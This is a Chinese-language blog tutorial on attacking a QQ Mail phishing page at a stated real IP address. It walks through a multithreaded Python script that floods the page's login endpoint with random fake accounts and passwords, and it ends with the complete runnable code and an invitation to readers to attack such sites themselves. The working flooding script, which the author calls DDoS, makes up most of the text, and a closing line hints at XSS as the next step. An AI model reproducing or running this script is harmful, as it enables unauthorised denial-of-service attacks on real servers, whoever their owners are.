一、背景
今天在群里,看到有个大佬发了个盗号网站的链接:http://154.221.20.240/Mali1/
这个网站伪装成qq邮箱登录,实际上就是骗你的qq号的,在手机上打开还真像那么回事。
之前也D过不少盗号网站,但总觉得独乐乐不如众乐乐,今天就想着把过程写下来,给大家看看。大家
没事的时候看到这种盗号网站也可以去练练手。本文章也仅仅是从较为简单的DDOS入手,至于更加高深
的渗透,博主不会,大多数人也不会,所以也就不考虑了。
二、分析网站
通过wappalyzer,可以看到这个网站运行在一台windows服务器上,一个简单的asp网页:
服务器地址在美国,web应用程序是IIS。
F12打开浏览器控制台,随便输入一个账号密码看看:
捕获了一个post请求,地址为:http://154.221.20.240/Mali1/4.asp?sn_sid=
网页反馈密码错误,然后跳到了qq邮箱的官网。
post的参数如下:
这个参数名是认真的么 – -!
我们要进行DDOS,那么就要从这个post请求入手。
三、构建DDOS程序
我们可以使用python的requests库构建http post请求,使用random库生成随机账号密码,并使用多线程来实现DDOS。
1.构建随机账号密码
def random_user_pass():
user = random.randint(10**5,10**10) #随机5-10位QQ号
password = ''
password_len = random.randint(9,28) #随机9-28位密码
for i in range(password_len):
code = random.randint(48,122) #取ASCII码48-122转为字符串
password += chr(code)
return user,password
运行一下,随机生成了一个账号密码:
(3301962676, 'akDk@Qb3Xe71ojwap2e>Qctq@')
2.调用生成的账号密码,post给盗号网站
原理很简单,就是通过requests构建post请求,将数据发送给盗号网站,模拟网页“登录”的操作。
def d_dos():
session = requests.session()
session.headers = header
while True:
user,password = random_user_pass()
data = {
'qq':user,
'mima':password,
'MM_insert':'form1'
}
r = session.post(api,data=data,timeout=5)
code = r.status_code
if code == 200:
print('提交成功...OK! 账号:{},密码: {}'.format(user,password))
else:
print('提交失败...failed!')
运行一下,一瞬间提交给了盗号网站N多随机账号密码:
3.加点错误处理,保证稳定运行
上面程序设置了超时为5秒,当连接超时会报错。在http请求中,会有各种各样的错误,导致程序崩溃,所以我们这里就简单粗暴加一*个忽略所有错误的错误处理:
try:
r = session.post(api,data=data,timeout=5)
except:
print('报错,直接跳过...')
continue
4.加个多线程
单线程的请求当然是搞不死这个网站的,所以我们要对这个程序使用多线程处理:
thread_num = 100
for i in range(thread_num):
threading.Thread(target=d_dos).start()
print('线程{}启动...'.format(i))
这样我们就成功实现了100线程的同时请求,运行一下:
控制台疯狂刷新。
5.优化一下,加个线程锁
到上一步其实这个简单的程序已经可以使用了,但是还不够人性化,最好能显示出提交的次数,失败的次数等。但是这里是多线程,如果直接定义一个变量来存储次数的话,100个线程一起修改这个变量,最后一定会崩。好在python的多线程模块提供了线程锁,我们可以先对变量加锁,修改完了再解锁。
完整代码如下
import requests
import threading
import random
from datetime import datetime
from time import sleep
lock = threading.Lock()
api = 'http://154.221.20.240/Mali1/4.asp?sn_sid='
header = {
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Mobile Safari/537.36'
}
success_count = 0
error_count = 0
def log(text):
print(datetime.now().strftime('%Y-%m-%d %H:%M:%S'),text)
def d_dos():
session = requests.session()
session.headers = header
global error_count
global success_count
while True:
user,password = random_user_pass()
data = {
'qq':user,
'mima':password,
'MM_insert':'form1'
}
try:
r = session.post(api,data=data,timeout=5)
except:
lock.acquire()
log('报错,直接跳过... *{}'.format(error_count))
error_count += 1
lock.release()
continue
code = r.status_code
lock.acquire()
if code == 200:
log('提交成功...OK! *{} 账号:{},密码: {}'.format(success_count,user,password))
success_count +=1
else:
log('提交失败...failed! *{} 状态码:{}'.format(error_count,r.status_code))
error_count += 1
lock.release()
def random_user_pass():
user = random.randint(10**5,10**10)
password = ''
password_len = random.randint(9,28)
for i in range(password_len):
code = random.randint(48,122)
password += chr(code)
return user,password
if __name__ == '__main__':
thread_num = 100
for i in range(thread_num):
threading.Thread(target=d_dos).start()
log('线程{}启动...'.format(i))
sleep(0.1)
四、其他
以下几点注意:
xss不香吗、